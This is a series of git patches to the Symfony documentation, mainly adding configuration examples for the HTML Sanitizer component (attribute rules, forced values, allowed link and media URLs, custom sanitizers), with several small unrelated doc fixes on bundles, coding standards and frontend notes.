+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // allow "src' on <iframe> elements
+                    ->allowAttribute('src')
+                        ->element('iframe')
+
+                    // allow "data-attr" on all elements currently allowed
+                    ->allowAttribute('data-attr')
+                        ->element('*')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // allow "src' on <iframe> elements
+                ->allowAttribute('src', ['iframe'])
+
+                // allow "data-attr" on all elements currently allowed
+                ->allowAttribute('data-attr', '*')
+        );
+
+Drop Attributes
+~~~~~~~~~~~~~~~
+
+This option allows you to disallow attributes that were allowed before.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+                        allow_attributes:
+                            # allow the "data-attr" on all safe elements...
+                            data-attr: '*'
+
+                        drop_attributes:
+                            # ...except for the <section> element
+                            data-attr: ['section']
+                            # disallows "style' on any allowed element
+                            style: '*'
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <!-- allow the "data-attr" on all safe elements... -->
+                    <framework:allow-attribute name="data-attr">
+                        <framework:element>*</framework:element>
+                    </framework:allow-attribute>
+
+                    <!-- ...except for the <section> element -->
+                    <framework:drop-attribute name="data-attr">
+                        <framework:element>section</framework:element>
+                    </framework:drop-attribute>
+
+                    <!-- disallows "style' on any allowed element -->
+                    <framework:drop-attribute name="style">
+                        <framework:element>*</framework:element>
+                    </framework:drop-attribute>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // allow the "data-attr" on all safe elements...
+                    ->allowAttribute('data-attr')
+                        ->element('*')
+
+                    // ...except for the <section> element
+                    ->dropAttriute('data-attr')
+                        ->element('section')
+
+                    // disallows "style' on any allowed element
+                    ->dropAttribute('style')
+                        ->element('*')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // allow the "data-attr" on all safe elements...
+                ->allowAttribute('data-attr')
+
+                // ...except for the <section> element
+                ->dropAttriute('data-attr', ['section'])
+
+                // disallows "style' on any allowed element
+                ->dropAttribute('style')
+        );
+
+Force Attribute Values
+~~~~~~~~~~~~~~~~~~~~~~
+
+Using this option, you can force an attribute with a given value on an
+element. For instance, use the follow config to always set ``rel="noopener noreferrer"`` on each ``<a>``
+element (even if the original one didn't contain a ``rel`` attribute):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+                        force_attributes:
+                            a:
+                                rel: noopener noreferrer
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <framework:force-attribute name="a">
+                        <framework:attribute name="rel">noopener noreferrer</framework:attribute>
+                    </framework:force-attribute>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    ->forceAttribute('a')
+                        ->attribute('rel', 'noopener noreferrer')
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                ->forceAttribute('a', 'rel', 'noopener noreferrer')
+        );
+
+.. _html-sanitizer-link-url:
+
+Force/Allow Link URLs
+~~~~~~~~~~~~~~~~~~~~~
+
+Besides allowing/blocking elements and attributes, you can also control the
+URLs of ``<a>`` elements:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+
+                        # if `true`, all URLs will be forced using the `https://` scheme (instead
+                        # of e.g. `http://` or `mailto:`)
+                        force_https_urls: true
+
+                        # specifies the allowed URL schemes. If the URL has a different scheme, the
+                        # attribute will be dropped
+                        allowed_link_schemes: ['http', 'https', 'mailto']
+
+                        # specifies the allowed hosts, the attribute will be dropped if the
+                        # URL contains a different host
+                        allowed_link_hosts: ['symfony.com']
+
+                        # whether to allow relative links (i.e. URLs without scheme and host)
+                        allow_relative_links: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- force-https-urls: if `true`, all URLs will be forced using the `https://`
+                                       scheme (instead of e.g. `http://` or `mailto:`) -->
+                <!-- allow-relative-links: whether to allow relative links (i.e. URLs without
+                                           scheme and host) -->
+                <framework:html-sanitizer
+                    force-https-urls="true"
+                    allow-relative-links="true"
+                >
+                    <!-- specifies the allowed URL schemes. If the URL has a different scheme,
+                         the attribute will be dropped -->
+                    <allowed-link-scheme>http</allowed-link-scheme>
+                    <allowed-link-scheme>https</allowed-link-scheme>
+                    <allowed-link-scheme>mailto</allowed-link-scheme>
+
+                    <!-- specifies the allowed hosts, the attribute will be dropped if the
+                         URL contains a different host -->
+                    <allowed-link-host>symfony.com</allowed-link-host>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // if `true`, all URLs will be forced using the `https://` scheme (instead
+                    // of e.g. `http://` or `mailto:`)
+                    ->forceHttpsUrls(true)
+
+                    // specifies the allowed URL schemes. If the URL has a different scheme, the
+                    // attribute will be dropped
+                    ->allowedLinkScheme('http')
+                    ->allowedLinkScheme('https')
+                    ->allowedLinkScheme('mailto')
+
+                    // specifies the allowed hosts, the attribute will be dropped if the
+                    // URL contains a different host
+                    ->allowedLinkHost('symfony.com')
+
+                    // whether to allow relative links (i.e. URLs without scheme and host)
+                    ->allowRelativeLinks(true)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // if `true`, all URLs will be forced using the `https://` scheme (instead
+                // of e.g. `http://` or `mailto:`)
+                ->forceHttpsUrls()
+
+                // specifies the allowed URL schemes. If the URL has a different scheme, the
+                // attribute will be dropped
+                ->allowedLinkSchemes(['http', 'https', 'mailto'])
+
+                // specifies the allowed hosts, the attribute will be dropped if the
+                // URL contains a different host
+                ->allowedLinkHosts(['symfony.com'])
+
+                // whether to allow relative links (i.e. URLs without scheme and host)
+                ->allowRelativeLinks()
+        );
+
+Force/Allow Media URLs
+~~~~~~~~~~~~~~~~~~~~~
+
+Like :ref:`link URLs <html-sanitizer-link-url>`, you can also control the
+URLs of other media in the HTML. The following attributes are checked by
+the HTML sanitizer: ``src``, ``href``, ``lowsrc``, ``background`` and ``ping``.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+
+                        # if `true`, all URLs will be forced using the `https://` scheme (instead
+                        # of e.g. `http://` or `data:`)
+                        force_https_urls: true
+
+                        # specifies the allowed URL schemes. If the URL has a different scheme, the
+                        # attribute will be dropped
+                        allowed_media_schemes: ['http', 'https', 'mailto']
+
+                        # specifies the allowed hosts, the attribute will be dropped if the URL
+                        # contains a different host
+                        allowed_media_hosts: ['symfony.com']
+
+                        # whether to allow relative URLs (i.e. URLs without scheme and host)
+                        allow_relative_medias: true
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <!-- force-https-urls: if `true`, all URLs will be forced using the `https://`
+                                       scheme (instead of e.g. `http://` or `data:`) -->
+                <!-- allow-relative-medias: whether to allow relative URLs (i.e. URLs without
+                                           scheme and host) -->
+                <framework:html-sanitizer
+                    force-https-urls="true"
+                    allow-relative-medias="true"
+                >
+                    <!-- specifies the allowed URL schemes. If the URL has a different scheme,
+                         the attribute will be dropped -->
+                    <allowed-media-scheme>http</allowed-media-scheme>
+                    <allowed-media-scheme>https</allowed-media-scheme>
+                    <allowed-media-scheme>mailto</allowed-media-scheme>
+
+                    <!-- specifies the allowed hosts, the attribute will be dropped if the URL
+                         contains a different host -->
+                    <allowed-media-host>symfony.com</allowed-media-host>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    // if `true`, all URLs will be forced using the `https://` scheme (instead
+                    // of e.g. `http://` or `data:`)
+                    ->forceHttpsUrls(true)
+
+                    // specifies the allowed URL schemes. If the URL has a different scheme, the
+                    // attribute will be dropped
+                    ->allowedMediaScheme('http')
+                    ->allowedMediaScheme('https')
+                    ->allowedMediaScheme('mailto')
+
+                    // specifies the allowed hosts, the attribute will be dropped if the URL
+                    // contains a different host
+                    ->allowedMediaHost('symfony.com')
+
+                    // whether to allow relative URLs (i.e. URLs without scheme and host)
+                    ->allowRelativeMedias(true)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                // if `true`, all URLs will be forced using the `https://` scheme (instead
+                // of e.g. `http://` or `data:`)
+                ->forceHttpsUrls()
+
+                // specifies the allowed URL schemes. If the URL has a different scheme, the
+                // attribute will be dropped
+                ->allowedMediaSchemes(['http', 'https', 'mailto'])
+
+                // specifies the allowed hosts, the attribute will be dropped if the URL
+                // contains a different host
+                ->allowedMediaHosts(['symfony.com'])
+
+                // whether to allow relative URLs (i.e. URLs without scheme and host)
+                ->allowRelativeMedias()
+        );
+
+Custom Attribute Sanitizers
+~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Controlling the link and media URLs is done by the
+:class:`Symfony\\Component\\HtmlSanitizer\\Visitor\\AttributeSanitizer\\UrlAttributeSanitizer`.
+You can also implement your own attribute sanitizer, to control the value
+of other attributes in the HTML. Create a class implementing
+:class:`Symfony\\Component\\HtmlSanitizer\\Visitor\\AttributeSanitizer\\AttributeSanitizerInterface`
+and register it as a service. After this, use ``with_attribute_sanitizers``
+to enable it for an HTML sanitizer:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/html_sanitizer.yaml
+        framework:
+            html_sanitizer:
+                sanitizers:
+                    app.post_sanitizer:
+                        # ...
+                        with_attribute_sanitizers:
+                            - App\Sanitizer\CustomAttributeSanitizer
+
+                        # you can also disable previously enabled custom attribute sanitizers
+                        #without_attribute_sanitizers:
+                        #    - App\Sanitizer\CustomAttributeSanitizer
+
+    .. code-block:: xml
+
+        <!-- config/packages/html_sanitizer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:html-sanitizer>
+                    <with-attribute-sanitizer>App\Sanitizer\CustomAttributeSanitizer</with-attribute-sanitizer>
+
+                    <!-- you can also disable previously enabled attribute sanitizers -->
+                    <without-attribute-sanitizer>Symfony\Component\HtmlSanitizer\Visitor\AttributeSanitizer\UrlAttributeSanitizer</without-attribute-sanitizer>
+                </framework:html-sanitizer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/framework.php
+        use App\Sanitizer\CustomAttributeSanitizer;
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->htmlSanitizer()
+                ->sanitizer('app.post_sanitizer')
+                    ->withAttributeSanitizer(CustomAttributeSanitizer::class)
+
+                    // you can also disable previously enabled attribute sanitizers
+                    //->withoutAttributeSanitizer(CustomAttributeSanitizer::class)
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use App\Sanitizer\CustomAttributeSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizer;
+        use Symfony\Component\HtmlSanitizer\HtmlSanitizerConfig;
+
+        $customAttributeSanitizer = new CustomAttributeSanitizer();
+        $postSanitizer = new HtmlSanitizer(
+            (new HtmlSanitizerConfig())
+                ->withAttributeSanitizer($customAttributeSanitizer)
+
+                // you can also disable previously enabled attribute sanitizers
+                //->withoutAttributeSanitizer($customAttributeSanitizer)
+        );
+
+.. _`HTML Sanitizer W3C Standard Proposal`: https://wicg.github.io/sanitizer-api/
+.. _`W3C Standard Proposal`: https://wicg.github.io/sanitizer-api/
diff --git a/index.rst b/index.rst
index 289d856e094..c2ec849c27f 100644
--- a/index.rst
+++ b/index.rst
@@ -40,6 +40,7 @@ Topics
     event_dispatcher
     forms
     frontend
+    html_sanitizer
     http_cache
     http_client
     lock
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 721812a0067..cd1a1dc50ca 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1198,6 +1198,17 @@ connection is verified for authenticity. Authenticating the certificate is not
 enough to be sure about the server, so you should combine this with the
 ``verify_host`` option.
 
+html_sanitizer
+~~~~~~~~~~~~~~
+
+.. versionadded:: 6.1
+
+    The HTML sanitizer configuration was introduced in Symfony 6.1.
+
+The ``html_sanitizer`` option (and its children) are used to configure
+custom HTML sanitizers. Read more about the options in the
+:ref:`HTML sanitizer documentation <html-sanitizer-configuration>`.
+
 profiler
 ~~~~~~~~
 
diff --git a/reference/forms/types/options/sanitize_html.rst.inc b/reference/forms/types/options/sanitize_html.rst.inc
new file mode 100644
index 00000000000..d5525674815
--- /dev/null
+++ b/reference/forms/types/options/sanitize_html.rst.inc
@@ -0,0 +1,18 @@
+sanitize_html
+~~~~~~~~~~~~~
+
+**type**: ``boolean`` **default**: ``false``
+
+.. versionadded:: 6.1
+
+    The ``sanitize_html`` option was introduced in Symfony 6.1.
+
+When ``true``, the text input will be sanitized using the
+:doc:`Symfony HTML Sanitizer component </html_sanitizer>` after the form is
+submitted. This protects the form input against XSS, clickjacking and CSS
+injection.
+
+.. note::
+
+    You must :ref:`install the HTML sanitizer component <html-sanitizer-installation>`
+    to use this option.
diff --git a/reference/forms/types/options/sanitizer.rst.inc b/reference/forms/types/options/sanitizer.rst.inc
new file mode 100644
index 00000000000..66a76d591e7
--- /dev/null
+++ b/reference/forms/types/options/sanitizer.rst.inc
@@ -0,0 +1,11 @@
+sanitizer
+~~~~~~~~~
+
+**type**: ``string`` **default**: ``"default"``
+
+.. versionadded:: 6.1
+
+    The ``sanitizer`` option was introduced in Symfony 6.1.
+
+When `sanitize_html`_ is enabled, you can specify the name of a
+:ref:`custom sanitizer <html-sanitizer-configuration>` using this option.
diff --git a/reference/forms/types/text.rst b/reference/forms/types/text.rst
index 204c496ce85..bf1876a0925 100644
--- a/reference/forms/types/text.rst
+++ b/reference/forms/types/text.rst
@@ -57,6 +57,10 @@ an empty string, explicitly set the ``empty_data`` option to an empty string.
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
+.. include:: /reference/forms/types/options/sanitize_html.rst.inc
+
+.. include:: /reference/forms/types/options/sanitizer.rst.inc
+
 .. include:: /reference/forms/types/options/trim.rst.inc
 
 Overridden Options
diff --git a/reference/forms/types/textarea.rst b/reference/forms/types/textarea.rst
index 3e0ac8e0db9..413d8e5a09b 100644
--- a/reference/forms/types/textarea.rst
+++ b/reference/forms/types/textarea.rst
@@ -22,6 +22,13 @@ Renders a ``textarea`` HTML element.
     ``<textarea>``, consider using the FOSCKEditorBundle community bundle. Read
     `its documentation`_ to learn how to integrate it in your Symfony application.
 
+.. caution::
+
+    When allowing users to type HTML code in the textarea (or using a
+    WYSIWYG) editor, the application is vulnerable to XSS injection,
+    clickjacking or CSS injection. Use the `sanitize_html`_ option to
+    protect against these types of attacks.
+
 Inherited Options
 -----------------
 
@@ -61,6 +68,10 @@ The default value is ``''`` (the empty string).
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc
 
+.. include:: /reference/forms/types/options/sanitize_html.rst.inc
+
+.. include:: /reference/forms/types/options/sanitizer.rst.inc
+
 .. include:: /reference/forms/types/options/trim.rst.inc
 
 .. _`its documentation`: https://symfony.com/doc/current/bundles/FOSCKEditorBundle/index.html
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 575fb051c82..cc24844845a 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -377,6 +377,25 @@ trans
 Translates the text into the current language. More information in
 :ref:`Translation Filters <translation-filters>`.
 
+sanitize_html
+~~~~~~~~~~~~~
+
+.. versionadded:: 6.1
+
+    The ``sanitize_html()`` filter was introduced in Symfony 6.1.
+
+.. code-block:: twig
+
+    {{ body|sanitize_html(sanitizer = "default") }}
+
+``body``
+    **type**: ``string``
+``sanitizer`` *(optional)*
+    **type**: ``string`` **default**: ``"default"``
+
+Sanitizes the text using the HTML Sanitizer component. More information in
+:ref:`HTML Sanitizer <html-sanitizer-twig>`.
+
 yaml_encode
 ~~~~~~~~~~~
 

From 05cf43629142fef91a29e8f6117d833d0ffd5a58 Mon Sep 17 00:00:00 2001
From: Laurent VOULLEMIER <laurent.voullemier@gmail.com>
Date: Tue, 17 May 2022 11:58:07 +0200
Subject: [PATCH 1900/5766] Fix options path in composer.json

---
 components/runtime.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/runtime.rst b/components/runtime.rst
index adfec8c3622..b3b3bef1ecd 100644
--- a/components/runtime.rst
+++ b/components/runtime.rst
@@ -314,7 +314,7 @@ can be set using the ``APP_RUNTIME_OPTIONS`` environment variable::
 
     // ...
 
-You can also configure ``extra.runtime.options`` in ``composer.json``:
+You can also configure ``extra.runtime`` in ``composer.json``:
 
 .. code-block:: json
 

From 1c16c3076a74a0a435451888e7d40d5162e52fbe Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Wed, 18 May 2022 00:30:12 -0400
Subject: [PATCH 1901/5766] Fix code example about prepend config

---
 bundles/prepend_extension.rst | 24 ++++++++++--------------
 1 file changed, 10 insertions(+), 14 deletions(-)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 4d174c8366d..c23f9133ff4 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -80,22 +80,18 @@ in case a specific other bundle is not registered::
             }
         }
 
-        // process the configuration of AcmeHelloExtension
+        // get the configuration of AcmeHelloExtension (it's a list of configuration)
         $configs = $container->getExtensionConfig($this->getAlias());
 
-        // resolve config parameters e.g. %kernel.debug% to its boolean value
-        $resolvingBag = $container->getParameterBag();
-        $configs = $resolvingBag->resolveValue($configs);
-        
-        // use the Configuration class to generate a config array with
-        // the settings "acme_hello"
-        $config = $this->processConfiguration(new Configuration(), $configs);
-
-        // check if entity_manager_name is set in the "acme_hello" configuration
-        if (isset($config['entity_manager_name'])) {
-            // prepend the acme_something settings with the entity_manager_name
-            $config = ['entity_manager_name' => $config['entity_manager_name']];
-            $container->prependExtensionConfig('acme_something', $config);
+        // iterate in reverse to preserve the original order after prepending the config
+        foreach (array_reverse($configs) as $config) {
+            // check if entity_manager_name is set in the "acme_hello" configuration
+            if (isset($config['entity_manager_name'])) {
+                // prepend the acme_something settings with the entity_manager_name
+                $container->prependExtensionConfig('acme_something', [
+                    'entity_manager_name' => $config['entity_manager_name'],
+                ]);
+            }
         }
     }
 

From 9883f131e493e21c7833f5f18a000ac5498aaeb1 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Manuel=20Kie=C3=9Fling?= <manuel@kiessling.net>
Date: Fri, 20 May 2022 12:57:00 +0200
Subject: [PATCH 1902/5766] Tiny language fix in messenger.rst

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index 4e1dae322de..3e4b6413618 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1643,7 +1643,7 @@ The SQS transport DSN may looks like this:
 .. note::
 
     The transport will automatically create queues that are needed. This
-    can be disabled setting the ``auto_setup`` option to ``false``.
+    can be disabled by setting the ``auto_setup`` option to ``false``.
 
 .. tip::
 

From 64c9936f91c5af9a26c47cb7c8de43030078db70 Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Fri, 20 May 2022 13:25:17 +0200
Subject: [PATCH 1903/5766] [Frontend] Add a note about stimulusFetch &
 TypeScript config

---
 frontend/encore/simple-example.rst | 5 +++++
 frontend/ux.rst                    | 5 +++++
 2 files changed, 10 insertions(+)

diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 21a3bad9093..b048d1b98dc 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -317,6 +317,11 @@ split to *separate* files by Encore. Then, those files won't be downloaded until
 the moment a matching element (e.g. ``<div data-controller="lazy-example">``)
 appears on the page!
 
+.. note::
+
+    If you write your controllers using TypeScript, make sure
+    ``removeComments`` is not set to ``true`` in your TypeScript config.
+
 .. _multiple-javascript-entries:
 
 Multiple Entries
diff --git a/frontend/ux.rst b/frontend/ux.rst
index 41bc1d582a3..959d3aab035 100644
--- a/frontend/ux.rst
+++ b/frontend/ux.rst
@@ -131,6 +131,11 @@ To make one of your custom controllers lazy, add a special comment on top:
 To make a third-party controller lazy, in ``assets/controllers.json``, set
 ``fetch`` to ``lazy``.
 
+.. note::
+
+    If you write your controllers using TypeScript, make sure
+    ``removeComments`` is not set to ``true`` in your TypeScript config.
+
 More Advanced Setup
 -------------------
 

From cf3b74ca9cf3d316753456ffe10e0d6277fa2c95 Mon Sep 17 00:00:00 2001
From: Jarek Ikaniewicz <githubc@ikaniewicz.pl>
Date: Sun, 17 Apr 2022 15:08:29 +0200
Subject: [PATCH 1904/5766] [Standards] Add constructor property promotion

 Issue#16607
---
 contributing/code/standards.rst | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index dff71281348..a5449363769 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -180,7 +180,10 @@ Structure
   to increase readability;
 
 * Declare all the arguments on the same line as the method/function name, no
-  matter how many arguments there are;
+  matter how many arguments there are (with exception of `constructor property promotion`_);
+
+* When using `constructor property promotion`_ put each parameter on a new line with
+  `trailing comma`_;
 
 * Use parentheses when instantiating classes regardless of the number of
   arguments the constructor has;
@@ -299,3 +302,5 @@ License
 .. _`camelCase`: https://en.wikipedia.org/wiki/Camel_case
 .. _`UpperCamelCase`: https://en.wikipedia.org/wiki/Camel_case
 .. _`snake_case`: https://en.wikipedia.org/wiki/Snake_case
+.. _`constructor property promotion`: https://www.php.net/manual/en/language.oop5.decon.php#language.oop5.decon.constructor.promotion
+.. _`trailing comma`: https://wiki.php.net/rfc/trailing_comma_in_parameter_list

From da27090b76291c79dc4a7defaf0404511b06370e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 21 May 2022 13:03:19 +0200
Subject: [PATCH 1905/5766] Minor tweak

---
 contributing/code/standards.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/contributing/code/standards.rst b/contributing/code/standards.rst
index a5449363769..5709a5184a6 100644
--- a/contributing/code/standards.rst
+++ b/contributing/code/standards.rst
@@ -180,10 +180,9 @@ Structure
   to increase readability;
 
 * Declare all the arguments on the same line as the method/function name, no
-  matter how many arguments there are (with exception of `constructor property promotion`_);
-
-* When using `constructor property promotion`_ put each parameter on a new line with
-  `trailing comma`_;
+  matter how many arguments there are. The only exception are constructor methods
+  using `constructor property promotion`_, where each parameter must be on a new
+  line with `trailing comma`_;
 
 * Use parentheses when instantiating classes regardless of the number of
   arguments the constructor has;

From 426e289ec2fb34315c231acea98ea2450ab7bd79 Mon Sep 17 00:00:00 2001
From: Yonel Ceruto <yonelceruto@gmail.com>
Date: Wed, 11 May 2022 22:48:26 -0400
Subject: [PATCH 1906/5766] Documenting Abstract Bundle and Extension

---
 bundles.rst                          |  53 +++++++++-----
 bundles/configuration.rst            |  51 ++++++++++++++
 bundles/extension.rst                |  41 +++++++++++
 bundles/override.rst                 |  18 ++---
 bundles/prepend_extension.rst        |  41 +++++++++++
 configuration/micro_kernel_trait.rst | 101 ++++++++++++++++++++++-----
 6 files changed, 261 insertions(+), 44 deletions(-)

diff --git a/bundles.rst b/bundles.rst
index ed194614c34..2c4b20fa694 100644
--- a/bundles.rst
+++ b/bundles.rst
@@ -48,18 +48,24 @@ The new bundle is called AcmeTestBundle, where the ``Acme`` portion is an exampl
 name that should be replaced by some "vendor" name that represents you or your
 organization (e.g. ABCTestBundle for some company named ``ABC``).
 
-Start by creating a ``src/Acme/TestBundle/`` directory and adding a new file
+Start by creating a ``Acme/TestBundle/src/`` directory and adding a new file
 called ``AcmeTestBundle.php``::
 
-    // src/Acme/TestBundle/AcmeTestBundle.php
-    namespace App\Acme\TestBundle;
+    // Acme/TestBundle/src/AcmeTestBundle.php
+    namespace Acme\TestBundle;
 
-    use Symfony\Component\HttpKernel\Bundle\Bundle;
+    use Symfony\Component\HttpKernel\Bundle\AbstractBundle;
 
-    class AcmeTestBundle extends Bundle
+    class AcmeTestBundle extends AbstractBundle
     {
     }
 
+.. versionadded:: 6.1
+
+    The ``AbstractBundle`` was introduced in Symfony 6.1. If your bundle must be compatible
+    with previous Symfony versions you have to extend from the :class:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle`
+    instead.
+
 .. tip::
 
     The name AcmeTestBundle follows the standard
@@ -67,14 +73,27 @@ called ``AcmeTestBundle.php``::
     also choose to shorten the name of the bundle to simply TestBundle by naming
     this class TestBundle (and naming the file ``TestBundle.php``).
 
-This empty class is the only piece you need to create the new bundle. Though
+It's recommended to place your bundle class in the ``src/`` directory and keep out all the
+configuration files, templates, translations, etc. By default, Symfony determines the bundle path from the
+directory where the bundle class is placed, so you have to define the :method:`Symfony\\Component\\HttpKernel\\Bundle\\Bundle::getPath`
+method to tell Symfony what is the root directory of your bundle path::
+
+    class AcmeTestBundle extends AbstractBundle
+    {
+        public function getPath(): string
+        {
+            return \dirname(__DIR__);
+        }
+    }
+
+This almost empty class is the only piece you need to create the new bundle. Though
 commonly empty, this class is powerful and can be used to customize the behavior
 of the bundle. Now that you've created the bundle, enable it::
 
     // config/bundles.php
     return [
